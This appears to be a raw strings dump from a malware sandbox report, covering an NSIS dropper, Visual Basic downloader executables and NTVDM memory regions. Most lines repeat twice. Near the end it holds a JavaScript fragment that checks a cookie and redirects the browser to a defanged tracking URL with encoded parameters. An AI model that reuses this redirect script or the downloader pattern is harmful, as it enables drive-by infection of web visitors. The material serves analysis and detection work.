~nsu.tmp
%u.%u%s%s
%u.%u%s%s
RegDeleteKeyExA
RegDeleteKeyExA
%s=%s
%s=%s
*?|/":
*?|/":
cuments and Settings\"%CurrentUserName%"\Application Data\Done.exe
cuments and Settings\"%CurrentUserName%"\Application Data\Done.exe
open "%Documents and Settings%\%current user%\Application Data\Done.exe"
open "%Documents and Settings%\%current user%\Application Data\Done.exe"
"%Documents and Settings%\%current user%\Application Data\Done.exe"
"%Documents and Settings%\%current user%\Application Data\Done.exe"
.reloc
.reloc
q.cf&
q.cf&
MB, # %s =
MB, # %s =
RAM %s
RAM %s
N)0.BG
N)0.BG
:\Documents and Settings\"%CurrentUserName%"\Application Data\Done.exe"
:\Documents and Settings\"%CurrentUserName%"\Application Data\Done.exe"
"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\SLFAT.exe"
"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\SLFAT.exe"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp
SLFAT.exe
SLFAT.exe
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso6.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso6.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\SLFAT.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\SLFAT.exe
rundll32.exe_636:
.text
.text
`.data
`.data
.rsrc
.rsrc
msvcrt.dll
msvcrt.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
IMAGEHLP.dll
IMAGEHLP.dll
rundll32.pdb
rundll32.pdb
.....eZXnnnnnnnnnnnn3
.....eZXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
...eDXnnnnnnnnnnnn,
...eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
%Xnnnnnnnnnnnnnnn1
%Xnnnnnnnnnnnnnnn1
O3$dS7"%U9
O3$dS7"%U9
.manifest
.manifest
5.1.2600.5512 (xpsp.080413-2105)
5.1.2600.5512 (xpsp.080413-2105)
RUNDLL.EXE
RUNDLL.EXE
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
YThere is not enough memory to run the file %s.
YThere is not enough memory to run the file %s.
Please close other windows and try again.
Please close other windows and try again.
9The file %s or one of its components could not be opened.
9The file %s or one of its components could not be opened.
0The file %s or one of its components cannot run.
0The file %s or one of its components cannot run.
MThe file %s or one of its components requires a different version of Windows.
MThe file %s or one of its components requires a different version of Windows.
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
Error in %s
Error in %s
Missing entry:%s
Missing entry:%s
Error loading %s
Error loading %s
Gi.exe_188:
`.rsrc
`.rsrc
Ludps
Ludps
WebBrtsLr
WebBrtsLr
vb6chs.dll
vb6chs.dll
udpsocket
udpsocket
AutoDownload.Socket
AutoDownload.Socket
WebBrowser1
WebBrowser1
SHDocVwCtl.WebBrowser
SHDocVwCtl.WebBrowser
shdocvw.dll
shdocvw.dll
WebBrowser
WebBrowser
VBA6.DLL
VBA6.DLL
InternetOpenUrlA
InternetOpenUrlA
wininet.dll
wininet.dll
HttpQueryInfoA
HttpQueryInfoA
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
%System%\shdocvw.oca
%System%\shdocvw.oca
oudpsocket
oudpsocket
advapi32.dll
advapi32.dll
RegCreateKeyA
RegCreateKeyA
RegCloseKey
RegCloseKey
RegOpenKeyA
RegOpenKeyA
shell32.dll
shell32.dll
udpstop
udpstop
ws2_32.dll
ws2_32.dll
%System%\msvbvm60.dll\3
%System%\msvbvm60.dll\3
RemotePort
RemotePort
LocalPort
LocalPort
netapi32.dll
netapi32.dll
GetProcessHeap
GetProcessHeap
SAFE_zQuZurLIyBzlabGZV6J67mp4vZAE92eS
SAFE_zQuZurLIyBzlabGZV6J67mp4vZAE92eS
SAFE_xYSsheV2XTHEjnoMQnsB5YaROhI86Qj8
SAFE_xYSsheV2XTHEjnoMQnsB5YaROhI86Qj8
Returns/Sets the port to be connected to on the remote computer
Returns/Sets the port to be connected to on the remote computer
lngPort
lngPort
Returns/Sets the port used on the local computer
Returns/Sets the port used on the local computer
Binds socket to specific port and adapter
Binds socket to specific port and adapter
Occurs after a send operation has completed
Occurs after a send operation has completed
.text
.text
`.data
`.data
.rsrc
.rsrc
wsS2%S-eu$S2%ro@
wsS2%S-eu$S2%ro@
K.WAR
K.WAR
BlS2%Sizz%S2%arS2
BlS2%Sizz%S2%arS2
orS2u`d/ o%S2%f 2%S2WarS2%Scra$S2%ftQ
orS2u`d/ o%S2%f 2%S2WarS2%Scra$S2%ftQ
dJol%S2
dJol%S2
Cd 2%S2of S2%SWar%S2%cr2%S2aftj
Cd 2%S2of S2%SWar%S2%cr2%S2aftj
2%S2w.eF2%Sxe
2%S2w.eF2%Sxe
Tr%S2%ia
Tr%S2%ia
òlat
òlat
Lexe
Lexe
WS2%Sow.%S2%exH
WS2%Sow.%S2%exH
Atl%S2%an2%S2tic
Atl%S2%an2%S2tic
ofS2%S wa%S2%rc2%S2rafe!%St@
ofS2%S wa%S2%rc2%S2rafe!%St@
KERNEL32.DLL
KERNEL32.DLL
MSVBVM60.DLL
MSVBVM60.DLL
*\AS:\Worker\tempvbp\AutoDownload.vbp
*\AS:\Worker\tempvbp\AutoDownload.vbp
USER32.DLL
USER32.DLL
ADVAPI32.DLL
ADVAPI32.DLL
WININET.DLL
WININET.DLL
RegOpenKeyExA
RegOpenKeyExA
@*\AS:\Worker\tempvbp\AutoDownload.vbp
@*\AS:\Worker\tempvbp\AutoDownload.vbp
dick.exe
dick.exe
tenn2.exe_1076_rwx_05F40000_00010000:
U8VSSh
U8VSSh
rundll32.exe_636_rwx_00970000_00010000:
U8VSSh
U8VSSh
rundll32.exe_636_rwx_10000000_00001000:
.text
.text
`.data
`.data
.reloc
.reloc
willwnd.exe_476:
.text
.text
`.data
`.data
.rsrc
.rsrc
MSVBVM60.DLL
MSVBVM60.DLL
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
user32.dll
user32.dll
VBA6.DLL
VBA6.DLL
@*\AC:\Users\Sean\Desktop\stbnes\willwind\Project1.vbp
@*\AC:\Users\Sean\Desktop\stbnes\willwind\Project1.vbp
killwnd.exe
killwnd.exe
Gi.exe_188_rwx_00401000_00057000:
udpsocket
udpsocket
AutoDownload.Socket
AutoDownload.Socket
WebBrowser1
WebBrowser1
SHDocVwCtl.WebBrowser
SHDocVwCtl.WebBrowser
vb6chs.dll
vb6chs.dll
shdocvw.dll
shdocvw.dll
WebBrowser
WebBrowser
VBA6.DLL
VBA6.DLL
InternetOpenUrlA
InternetOpenUrlA
wininet.dll
wininet.dll
HttpQueryInfoA
HttpQueryInfoA
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
%System%\shdocvw.oca
%System%\shdocvw.oca
oudpsocket
oudpsocket
advapi32.dll
advapi32.dll
RegCreateKeyA
RegCreateKeyA
RegCloseKey
RegCloseKey
RegOpenKeyA
RegOpenKeyA
shell32.dll
shell32.dll
udpstop
udpstop
ws2_32.dll
ws2_32.dll
%System%\msvbvm60.dll\3
%System%\msvbvm60.dll\3
RemotePort
RemotePort
LocalPort
LocalPort
netapi32.dll
netapi32.dll
GetProcessHeap
GetProcessHeap
SAFE_zQuZurLIyBzlabGZV6J67mp4vZAE92eS
SAFE_zQuZurLIyBzlabGZV6J67mp4vZAE92eS
SAFE_xYSsheV2XTHEjnoMQnsB5YaROhI86Qj8
SAFE_xYSsheV2XTHEjnoMQnsB5YaROhI86Qj8
Returns/Sets the port to be connected to on the remote computer
Returns/Sets the port to be connected to on the remote computer
lngPort
lngPort
Returns/Sets the port used on the local computer
Returns/Sets the port used on the local computer
Binds socket to specific port and adapter
Binds socket to specific port and adapter
Occurs after a send operation has completed
Occurs after a send operation has completed
.text
.text
`.data
`.data
.rsrc
.rsrc
wsS2%S-eu$S2%ro@
wsS2%S-eu$S2%ro@
K.WAR
K.WAR
BlS2%Sizz%S2%arS2
BlS2%Sizz%S2%arS2
orS2u`d/ o%S2%f 2%S2WarS2%Scra$S2%ftQ
orS2u`d/ o%S2%f 2%S2WarS2%Scra$S2%ftQ
dJol%S2
dJol%S2
Cd 2%S2of S2%SWar%S2%cr2%S2aftj
Cd 2%S2of S2%SWar%S2%cr2%S2aftj
2%S2w.eF2%Sxe
2%S2w.eF2%Sxe
*\AS:\Worker\tempvbp\AutoDownload.vbp
*\AS:\Worker\tempvbp\AutoDownload.vbp
USER32.DLL
USER32.DLL
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.DLL
ADVAPI32.DLL
WININET.DLL
WININET.DLL
RegOpenKeyExA
RegOpenKeyExA
@*\AS:\Worker\tempvbp\AutoDownload.vbp
@*\AS:\Worker\tempvbp\AutoDownload.vbp
willwnd.exe_476_rwx_00E60000_00010000:
U8VSSh
U8VSSh
stb1.exe_1840:
.text
.text
`.data
`.data
.rsrc
.rsrc
MSVBVM60.DLL
MSVBVM60.DLL
Project1.UserControl1
Project1.UserControl1
SHDocVwCtl.WebBrowser
SHDocVwCtl.WebBrowser
StrUrl
StrUrl
ieframe.dll
ieframe.dll
WebBrowser
WebBrowser
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
C:\Windows\System32\ieframe.oca
C:\Windows\System32\ieframe.oca
user32.dll
user32.dll
EnumWindows
EnumWindows
shell32.dll
shell32.dll
ShellExecuteA
ShellExecuteA
VBA6.DLL
VBA6.DLL
EnumChildWindows
EnumChildWindows
WinHttp
WinHttp
.HTTPDownload
.HTTPDownload
.C:\Windows\system32\winhttp.dll
.C:\Windows\system32\winhttp.dll
C:\Windows\system32\mshtml.tlb
C:\Windows\system32\mshtml.tlb
*\AC:\Users\Sean\Desktop\stbnes\Project1.vbp
*\AC:\Users\Sean\Desktop\stbnes\Project1.vbp
\xt.exe
\xt.exe
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
@*\AC:\Users\Sean\Desktop\stbnes\Project1.vbp
@*\AC:\Users\Sean\Desktop\stbnes\Project1.vbp
1.00.0011
1.00.0011
stb1.exe
stb1.exe
stb1.exe_1840_rwx_033C0000_00010000:
U8VSSh
U8VSSh
ntvdm.exe_1112:
.text
.text
`.data
`.data
.rsrc
.rsrc
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
ADVAPI32.dll
ADVAPI32.dll
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
SoftPC
SoftPC
mscoree.dll
mscoree.dll
Please contact the application's support team for more information.
Please contact the application's support team for more information.
GetProcessWindowStation
GetProcessWindowStation
user32.dll
user32.dll
BIOS keyboard buffer overflow
BIOS keyboard buffer overflow
hardware keyboard buffer overflow
hardware keyboard buffer overflow
%s Mouse %d.01 already installed
%s Mouse %d.01 already installed
%s Mouse %d.01 installed
%s Mouse %d.01 installed
d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c
C:\IBMBIO.SYS
C:\IBMBIO.SYS
C:\IO.SYS
C:\IO.SYS
C:\IBMDOS.SYS
C:\IBMDOS.SYS
C:\MSDOS.SYS
C:\MSDOS.SYS
\ntio404.sys
\ntio404.sys
\ntio411.sys
\ntio411.sys
\ntio412.sys
\ntio412.sys
\ntio804.sys
\ntio804.sys
\ntio.sys
\ntio.sys
VJOY.DLL
VJOY.DLL
%s %lxh
%s %lxh
d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c
d:\xpsp\base\mvdm\softpc.new\host\src\config.c
d:\xpsp\base\mvdm\softpc.new\host\src\config.c
Software\Microsoft\Windows NT\CurrentVersion\WOW\Console
Software\Microsoft\Windows NT\CurrentVersion\WOW\Console
\\.\$VDMLPT2
\\.\$VDMLPT2
\\.\$VDMLPT3
\\.\$VDMLPT3
\\.\$VDMLPT1
\\.\$VDMLPT1
FONT.NT
FONT.NT
\ega.cpi
\ega.cpi
d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c
Drive %c:
Drive %c:
Incompatible DOS diskette, C H R N = %d %d %d %d
Incompatible DOS diskette, C H R N = %d %d %d %d
\\.\A:
\\.\A:
\\.\?:
\\.\?:
d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c
WINDOWS VMM 4.0
WINDOWS VMM 4.0
WINDOWS NT 3.1
WINDOWS NT 3.1
WINDOWS 386 3.0
WINDOWS 386 3.0
WINDOWS 286 3.0
WINDOWS 286 3.0
\_default.pif
\_default.pif
d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c
VrRemoveOpenNamedPipeInfo
VrRemoveOpenNamedPipeInfo
VrConvertLocalNtPipeName
VrConvertLocalNtPipeName
VrAddOpenNamedPipeInfo
VrAddOpenNamedPipeInfo
VrIsNamedPipeHandle
VrIsNamedPipeHandle
VrIsNamedPipeName
VrIsNamedPipeName
VrWriteNamedPipe
VrWriteNamedPipe
VrReadNamedPipe
VrReadNamedPipe
midiOutShortMsg
midiOutShortMsg
midiOutLongMsg
midiOutLongMsg
WINMM.DLL
WINMM.DLL
d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c
NtDeviceIoControlFile failed %x
NtDeviceIoControlFile failed %x
d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c
SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx
SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx
NTVDMD.DLL
NTVDMD.DLL
Check Keyboard Status
Check Keyboard Status
\ntdos404.sys
\ntdos404.sys
\ntdos411.sys
\ntdos411.sys
\ntdos412.sys
\ntdos412.sys
\ntdos804.sys
\ntdos804.sys
\ntdos.sys
\ntdos.sys
demDosDispCall %s
demDosDispCall %s
config.nt
config.nt
PIPE
PIPE
%c:%sNUL
%c:%sNUL
Software\Microsoft\Windows\CurrentVersion\Setup
Software\Microsoft\Windows\CurrentVersion\Setup
Unimplemented SVC %d
Unimplemented SVC %d
Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine
Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine
%s=%s%s /p %s\system32
%s=%s%s /p %s\system32
%s=%3.3u,%3.3u,%s\system32\%s.sys%s
%s=%3.3u,%3.3u,%s\system32\%s.sys%s
KEYB
KEYB
\KEYBOARD.SYS
\KEYBOARD.SYS
\KEYJ31.SYS
\KEYJ31.SYS
\KEY02.SYS
\KEY02.SYS
\KEY01.SYS
\KEY01.SYS
\KEYAX.SYS
\KEYAX.SYS
%s,%d,%s
%s,%d,%s
\KB16.COM
\KB16.COM
DosKeybIDs
DosKeybIDs
System\CurrentControlSet\Control\Keyboard Layout\
System\CurrentControlSet\Control\Keyboard Layout\
DosKeybCodes
DosKeybCodes
00000409
00000409
Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility
Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
ega.rom
ega.rom
vga.rom
vga.rom
v7vga.rom
v7vga.rom
bios4.rom
bios4.rom
bios1.rom
bios1.rom
profile.spc
profile.spc
.spcprofile
.spcprofile
d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c
d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c
CS:x IP:x OP:x x x x x
CS:x IP:x OP:x x x x x
ntvdm.pdb
ntvdm.pdb
Ut.Ht$Ht
Ut.Ht$Ht
ItKIt9It.IIt
ItKIt9It.IIt
tK
tK
HHt7Ht.Ht
HHt7Ht.Ht
YYt%F
YYt%F
SSSSSh
SSSSSh
s*f;O%s$
s*f;O%s$
V
V
t.HtHHt(Ht
t.HtHHt(Ht
GetCPInfo
GetCPInfo
NtEnumerateValueKey
NtEnumerateValueKey
NtOpenKey
NtOpenKey
ntdll.dll
ntdll.dll
RegCloseKey
RegCloseKey
RegQueryInfoKeyA
RegQueryInfoKeyA
RegOpenKeyExA
RegOpenKeyExA
GetConsoleOutputCP
GetConsoleOutputCP
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryA
GetWindowsDirectoryA
GetWindowsDirectoryA
SetConsoleKeyShortcuts
SetConsoleKeyShortcuts
VDMConsoleOperation
VDMConsoleOperation
GetConsoleKeyboardLayoutNameA
GetConsoleKeyboardLayoutNameA
EnumWindows
EnumWindows
GetKeyState
GetKeyState
VkKeyScanW
VkKeyScanW
MapVirtualKeyA
MapVirtualKeyA
GetKeyboardType
GetKeyboardType
NtQueryValueKey
NtQueryValueKey
GetProcessHeap
GetProcessHeap
ntvdm.exe
ntvdm.exe
SoftPcEoi
SoftPcEoi
cmdCheckTemp
cmdCheckTemp
cmdCheckTempInit
cmdCheckTempInit
demIsShortPathName
demIsShortPathName
'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?
'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?
$$$(((---222888???
$$$(((---222888???
!"#$%&'(
!"#$%&'(
SoftPC-AT Version 3
SoftPC-AT Version 3
89:;?
89:;?
autoexec.nt
autoexec.nt
00030
00030
30333
30333
?0?3???
?0?3???
!"#$%&'()
!"#$%&'()
Userenv.dll
Userenv.dll
Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
%SystemRoot%
%SystemRoot%
\System32\command.com
\System32\command.com
%System%\ntvdm.exe
%System%\ntvdm.exe
\\.\B:
\\.\B:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%
%WinDir%
NTVDM.EXE
NTVDM.EXE
5.1.2600.5512 (xpsp.080413-2111)
5.1.2600.5512 (xpsp.080413-2111)
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.
5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.
LAn installation file required by NTVDM is missing, execution must terminate.
LAn installation file required by NTVDM is missing, execution must terminate.
Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t
Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t
MS-DOS program files must end with the extension .EXE, .COM, or .BAT.
MS-DOS program files must end with the extension .EXE, .COM, or .BAT.
vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format
vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format
16 bit Windows Subsystem
16 bit Windows Subsystem
VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.
VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.
Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.
Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.
Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.
Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.
Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate
Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate
ntvdm.exe_1112_rwx_00000000_00010000:
C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE
XT EXE
XT EXE
."/\[]:| =;,
."/\[]:| =;,
c:\wina20.386
c:\wina20.386
%WinDir%\SYSTEM32\COUNTRY.SYS
%WinDir%\SYSTEM32\COUNTRY.SYS
89:;?
89:;?
1234567890-=
1234567890-=
!@#$%^&*()_
!@#$%^&*()_
789-456 1230.
789-456 1230.
!"#$%&,-./012
!"#$%&,-./012
%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\SYSTEM32\COMMAND.COM
%File allocation table bad, drive %1
%File allocation table bad, drive %1
Invalid COMMAND.COM
Invalid COMMAND.COM
!Press any key to continue . . .
!Press any key to continue . . .
Cannot execute %1
Cannot execute %1
Error in EXE file
Error in EXE file
%WinDir%\TEMP\scs12.tmp
%WinDir%\TEMP\scs12.tmp
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
OS=Windows_NT
OS=Windows_NT
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
SYSTEMROOT=%WinDir%
SYSTEMROOT=%WinDir%
TEMP=%WinDir%\TEMP
TEMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
var ca = document.cookie.split(';');
var ca = document.cookie.split(';');
for(var i=0; i
for(var i=0; i
while (c.charAt(0)==' ') c = c.substring(1);
while (c.charAt(0)==' ') c = c.substring(1);
if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
document.cookie = 'jccheck=1';
document.cookie = 'jccheck=1';
var rurl = 'hXXp://tzpzc.com/trf?&o=0zale1OyxwReX+DsASyd7seoir0WeLsOCJ08ecQtUnOnFmse6FvzEkIWtA4gdJbeGiDYXasOOEcYtS9q250IBLpm9r5yWjv7BGvVMkoZ5QFR8bII5bl4mTN5VabSQDJEe1hNQKtFr+YMjr50MnCqXhefl0GHj2Gg8dW9h9CL3pe2qfrEXM5Hg2JUdYYrb496Ry1CK6XJZZKkeVpaUCYhSIgBrxpOgWhciEthJJ/nGzwS9AcYK3gT0Vw6Alrtj3X0+4G849hG1ocvXxhE3mYB8NudhDblJxQ2fszsTM+Ji/2IMuyYZbPAM3QlKZZNqFZhDrhVwSCt+oB+xWll95XJZp1t0YuAIPyc0E0T/O0EgpzUJYGLQSybOJW5K1jrlNso&c=21112204048400131698297&n=WS8heeJNQz3Q7ooJ6iuoCRVx94+GjX8HVWVUDsw7OISdMtrS4hdPWlHvtCziaQbyA7qnU/J18C6iSPxOXNF6kxTvd8ACl19FW1CJdhlQFZZxRSozAwYtUaGLWOrHJFU4FHAJcZd0xlUraGmBliJrn6acKkPhQCAZgFlJQHWPQwPB1urSlz2z42prJtwmFpsagRXVCPZNFyZpcCrDGh1AnMJrlLx4gVT7Cwo8iLHJ36i0oN3YsM+rwvPrSoQducgjCH9TAz6yo7dfwTHqnhBtIX/di84r0L6L/9M78gkLYGPlLKbTG34f6OGErum8MdPEa8qNcpnFh/IqDkwDhEWGT6xecnd2H+FToislZ5EKB/6pFnmbfQ+LmjRn+wb8kHBOaw2w7NMBUw2V32gc/Me7F2lwOiRyjLuGENQhWnnTZFR6AuqNpMmViIM2J9TxfU/2&kgp=0';
var rurl = 'hXXp://tzpzc.com/trf?&o=0zale1OyxwReX+DsASyd7seoir0WeLsOCJ08ecQtUnOnFmse6FvzEkIWtA4gdJbeGiDYXasOOEcYtS9q250IBLpm9r5yWjv7BGvVMkoZ5QFR8bII5bl4mTN5VabSQDJEe1hNQKtFr+YMjr50MnCqXhefl0GHj2Gg8dW9h9CL3pe2qfrEXM5Hg2JUdYYrb496Ry1CK6XJZZKkeVpaUCYhSIgBrxpOgWhciEthJJ/nGzwS9AcYK3gT0Vw6Alrtj3X0+4G849hG1ocvXxhE3mYB8NudhDblJxQ2fszsTM+Ji/2IMuyYZbPAM3QlKZZNqFZhDrhVwSCt+oB+xWll95XJZp1t0YuAIPyc0E0T/O0EgpzUJYGLQSybOJW5K1jrlNso&c=21112204048400131698297&n=WS8heeJNQz3Q7ooJ6iuoCRVx94+GjX8HVWVUDsw7OISdMtrS4hdPWlHvtCziaQbyA7qnU/J18C6iSPxOXNF6kxTvd8ACl19FW1CJdhlQFZZxRSozAwYtUaGLWOrHJFU4FHAJcZd0xlUraGmBliJrn6acKkPhQCAZgFlJQHWPQwPB1urSlz2z42prJtwmFpsagRXVCPZNFyZpcCrDGh1AnMJrlLx4gVT7Cwo8iLHJ36i0oN3YsM+rwvPrSoQducgjCH9TAz6yo7dfwTHqnhBtIX/di84r0L6L/9M78gkLYGPlLKbTG34f6OGErum8MdPEa8qNcpnFh/IqDkwDhEWGT6xecnd2H+FToislZ5EKB/6pFnmbfQ+LmjRn+wb8kHBOaw2w7NMBUw2V32gc/Me7F2lwOiRyjLuGENQhWnnTZFR6AuqNpMmViIM2J9TxfU/2&kgp=0';
rurl = '&jccheck=' getCookie('jccheck');
rurl = '&jccheck=' getCookie('jccheck');
window.top.location.replace(rurl);
window.top.location.replace(rurl);
document.write("This page has moved, Click here to go there.");
document.write("This page has moved, Click here to go there.");
}
}
%Intermediate file error during pipe
%Intermediate file error during pipe
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
>Quits the COMMAND.COM program (command interpreter).
>Quits the COMMAND.COM program (command interpreter).
]Displays or sets a search path for executable files.
]Displays or sets a search path for executable files.
$B | (pipe)
$B | (pipe)
%Displays the MS-DOS version.
%Displays the MS-DOS version.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
key to continue...."
key to continue...."
PATH=PROMPT=COMSPEC=DIRCMD=
PATH=PROMPT=COMSPEC=DIRCMD=
.COM.EXE.BAT?VBAPWRHSvDANEDSG
.COM.EXE.BAT?VBAPWRHSvDANEDSG
%WinDir%\SYSTEM32
%WinDir%\SYSTEM32
[]| =;"
[]| =;"
ntvdm.exe_1112_rwx_00010000_00090000:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\TEMP\scs12.tmp
%WinDir%\TEMP\scs12.tmp
89:;?
89:;?
0WINDOWS MS-DOS STARTUP FILE
0WINDOWS MS-DOS STARTUP FILE
0CONFIG.SYS VS CONFIG.NT
0CONFIG.SYS VS CONFIG.NT
0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.
0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.
0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A
0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A
0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD
0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD
0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.
0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.
0NTCMDPROMPT
0NTCMDPROMPT
0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE
0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE
0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,
0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,
